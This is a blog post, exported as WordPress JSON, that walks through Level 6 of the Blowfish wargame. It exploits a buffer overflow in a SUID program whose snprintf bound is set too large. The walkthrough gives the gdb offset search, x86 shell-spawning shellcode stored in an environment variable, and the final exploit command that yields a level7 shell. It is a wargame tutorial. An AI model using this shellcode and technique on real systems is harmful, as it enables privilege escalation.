{"id":139,"date":"2012-07-30T15:20:24","date_gmt":"2012-07-30T22:20:24","guid":{"rendered":"http:\/\/seanmurphree.com\/blog\/?p=139"},"modified":"2012-07-31T01:55:03","modified_gmt":"2012-07-31T08:55:03","slug":"blowfish-level-6-typo-smash","status":"publish","type":"post","link":"https:\/\/seanmurphree.com\/blog\/?p=139","title":{"rendered":"Blowfish Level 6 &#8211; Typo Smash!"},"content":{"rendered":"<p>Welcome back. \u00a0Today we&#8217;re going to be looking at Level 6 of the <a title=\"Blowfish\" href=\"http:\/\/blowfish.smashthestack.org:81\">Blowfish<\/a> wargame from <a title=\"Smash The Stack\" href=\"http:\/\/www.smashthestack.org\">Smash The Stack<\/a>. \u00a0As a reminder, the final password for the next level will the removed from this page and replaced with Y&#8217;s. \u00a0Let&#8217;s jump in.<\/p>\n<p>Let&#8217;s use the level 6 password we got from the end of level 5 and ssh into Blowfish. \u00a0Upon arrival, let&#8217;s get a listing of the files for this level:<\/p>\n<blockquote><p>level6@blowfish:~$ ls \/levels | grep level6<br \/>\nlevel6<br \/>\nlevel6.c<\/p><\/blockquote>\n<p>As usual, a SUID executable binary and it&#8217;s source code. \u00a0Since we&#8217;ve been seeing quite a few buffer overflows recently, let&#8217;s go a head and start off by reading the source code:<\/p>\n<blockquote><p>level6@blowfish:~$ more \/levels\/level6.c<br \/>\n#include &lt;stdio.h&gt;<br \/>\n#include &lt;string.h&gt;<\/p>\n<p>int badfunc(char *string1, char *string2) {<\/p>\n<p>char buffer1[1024];<br \/>\nchar buffer2[1024];<\/p>\n<p>if(strlen(string1)&gt;=sizeof(buffer1)) {<br \/>\nprintf(&#8220;\\n\\t(!) overflow detected.\\n&#8221;);<br \/>\nprintf(&#8220;\\t(-) exiting&#8230;\\n\\n&#8221;);<br \/>\nreturn -1;<br \/>\n}<br \/>\nelse {<br \/>\nprintf(&#8220;\\n\\t(+) copying string1 into the buffer&#8230;&#8221;);<br \/>\nsnprintf(buffer1,sizeof(buffer1),&#8221;%s&#8221;,string1);<br \/>\nprintf(&#8220;\\t\\t[done] (%d)\\n&#8221;, strlen(buffer1));<br \/>\n}<\/p>\n<p>if(strlen(string2)&gt;=sizeof(buffer2)*3) {<br \/>\nprintf(&#8220;\\n\\t(!) overflow detected.\\n&#8221;);<br \/>\nprintf(&#8220;\\t(-) exiting&#8230;\\n\\n&#8221;);<br \/>\nreturn -1;<br \/>\n}<br \/>\nelse {<br \/>\nprintf(&#8220;\\t(+) copying string2 into the buffer&#8230;&#8221;);<br \/>\nsnprintf(buffer2,sizeof(buffer1)*3,&#8221;%s&#8221;,string2);<br \/>\nprintf(&#8220;\\t\\t[done] (%d)\\n\\n&#8221;, strlen(buffer2));<br \/>\n}<\/p>\n<p>return 0;<br \/>\n}<\/p>\n<p>int main(int argc, char *argv[]) {<\/p>\n<p>if(argc != 3)<br \/>\nreturn -1;<\/p>\n<p>badfunc(argv[2], argv[1]);<\/p>\n<p>return 0;<br \/>\n}<\/p><\/blockquote>\n<p>Looking at the main function we can see the program takes only two command line arguments, passes them to the function badfunc in switched order, aka badfunc(argv[2], argv[1]), then exits. \u00a0So let&#8217;s look at the badfunc function. \u00a0This function consists of two 1024 byte buffers, and what appears to be input checking code. \u00a0The first if statement checks if the first parameter is greater than the length of the first buffer and if so, exits. \u00a0If not, it copies the first parameter into the first buffer using snprintf. \u00a0The snprintf function is used safely here in that the max number of bytes to copy is specified and thus it won&#8217;t overflow the buffer. \u00a0However, if we look at the second if statement, we can see it&#8217;s slightly different. \u00a0The second statement checks if the length of the second parameter is greater than three times the size of the second buffer and if so, exits. \u00a0If not, it copies the second argument into the second buffer using snprintf. \u00a0In this case, the snprintf function takes three times the length of the first buffer as the maximum number of bytes which will be allowed to be copied. \u00a0Now, it may not be exactly clear <em>why\u00a0<\/em>three times the buffer size is used in the second if\/else statements, however it does leave the program vulnerable to buffer overflow attacks.<\/p>\n<p>To get an idea for the size of our attack strings, let&#8217;s try to remember how memory is allocated on the call stack for a frame. \u00a0Memory grows down and get allocated for variables in the order in which they are encountered in the program. \u00a0Thus, we should have something along the lines of:<\/p>\n<blockquote><p>\u00a0 \u00a01024B \u00a0 \u00a01024B \u00a0 \u00a0 \u00a04B \u00a0 \u00a0 \u00a0 4B \u00a0 \u00a0 4B \u00a0 4B<\/p>\n<p>[buffer2][buffer1][arg2][arg1][sfp][ra]<\/p><\/blockquote>\n<p>So, we&#8217;re going to need parameter two of the badfunc function to be the overflow string. \u00a0Looking back at main, that&#8217;s argv[1] which is the first command line argument. \u00a0To overflow, it&#8217;s going to need to fill buffer2, buffer1, arg2, arg1, sfp, and correctly position for writing on ra. \u00a0So that&#8217;s at least 1024 + 1024 + 4 + 4 + 4 = 2060 bytes to pad til the return address, and then we want to write 4 bytes on the return address. Let&#8217;s open up gdb and see if we can get our attack string figured out using perl.<\/p>\n<blockquote><p>level6@blowfish:~$ gdb \/levels\/level6<br \/>\n&#8230;<br \/>\n(gdb) run `perl -e &#8216;print &#8220;A&#8221;x2060,&#8221;BBBB&#8221;&#8216;` `perl -e &#8216;print &#8220;C&#8221;x1023&#8217;`<br \/>\nStarting program: \/levels\/level6 `perl -e &#8216;print &#8220;A&#8221;x2060,&#8221;BBBB&#8221;&#8216;` `perl -e &#8216;print &#8220;C&#8221;x1023&#8217;`<\/p>\n<p>(+) copying string1 into the buffer&#8230; [done] (1023)<br \/>\n(+) copying string2 into the buffer&#8230; [done] (2064)<br \/>\nProgram received signal SIGSEGV, Segmentation fault.<br \/>\n0x42424242 in ?? ()<br \/>\n(gdb) quit<\/p><\/blockquote>\n<p>Oho! Perfectly calculated. \u00a0Look at that address, 0x42424242. \u00a0We overwrote the return address exactly with four B&#8217;s. \u00a0Now the last thing we need to do is load up some shellcode and put it&#8217;s memory location in our overflow string instead of B&#8217;s. \u00a0So let&#8217;s export some shellcode, with a small NOP padding at the beginning, into the environmental variable SHELLCODE:<\/p>\n<blockquote><p>level6@blowfish:~$ export SHELLCODE=$&#8217;\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90<br \/>\n\\x90\\x90\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\\x31\\xdb<br \/>\n\\x89\\xd8\\xb0\\x2e\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f<br \/>\n\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89<br \/>\n\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80&#8242;<\/p><\/blockquote>\n<p>Now let&#8217;s use our getenv C program to get the memory location of our SHELLCODE environmental variable:<\/p>\n<blockquote><p>#include &lt;stdio.h&gt;<br \/>\n#include &lt;stdlib.h&gt;<\/p>\n<p>int main(int argc, char *argv[])<br \/>\n{<br \/>\nif(!argv[1])<br \/>\nexit(1);<br \/>\nprintf(&#8220;%#x\\n&#8221;, getenv(argv[1]));<br \/>\nreturn 0;<br \/>\n}<\/p>\n<p>&#8230;<\/p>\n<p>level6@blowfish:\/tmp\/.t$ .\/getenv SHELLCODE<br \/>\n0xbfffda03<\/p><\/blockquote>\n<p>Alright! \u00a0Now we have our shellcode in memory with our NOP padding starting at location 0xbfffda03. \u00a0Now we just need to write that over the return address with our buffer overflow string and we should get a shell. \u00a0Let&#8217;s try:<\/p>\n<blockquote><p>level6@blowfish:~$ \/levels\/level6 `perl -e &#8216;print &#8220;A&#8221;x2060,&#8221;\\x08\\xda\\xff\\xbf&#8221;&#8216;` `perl -e &#8216;print &#8220;C&#8221;x1023&#8217;`<\/p>\n<p>(+) copying string1 into the buffer&#8230; [done] (1023)<br \/>\n(+) copying string2 into the buffer&#8230; [done] (2064)<\/p>\n<p>sh-3.2$ whoami<br \/>\nlevel7<br \/>\nsh-3.2$ more \/pass\/level7<br \/>\nYYYYYYYY<\/p><\/blockquote>\n<p>There we have it, a buffer overflow even with the use of a &#8220;safe&#8221; function. \u00a0Unfortunately, it&#8217;s only as safe as it&#8217;s programmed to be. \u00a0If the function had been used correctly, and the buffer size wasn&#8217;t multiplied, things wouldn&#8217;t have turned out like this.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Welcome back. \u00a0Today we&#8217;re going to be looking at Level 6 of the Blowfish wargame from Smash The Stack. \u00a0As a reminder, the final password for the next level will the removed from this page and replaced with Y&#8217;s. \u00a0Let&#8217;s &hellip; <a href=\"https:\/\/seanmurphree.com\/blog\/?p=139\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[16,6,4],"tags":[51,27,49,11,47],"_links":{"self":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/139"}],"collection":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=139"}],"version-history":[{"count":5,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/139\/revisions"}],"predecessor-version":[{"id":141,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/139\/revisions\/141"}],"wp:attachment":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=139"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=139"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=139"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}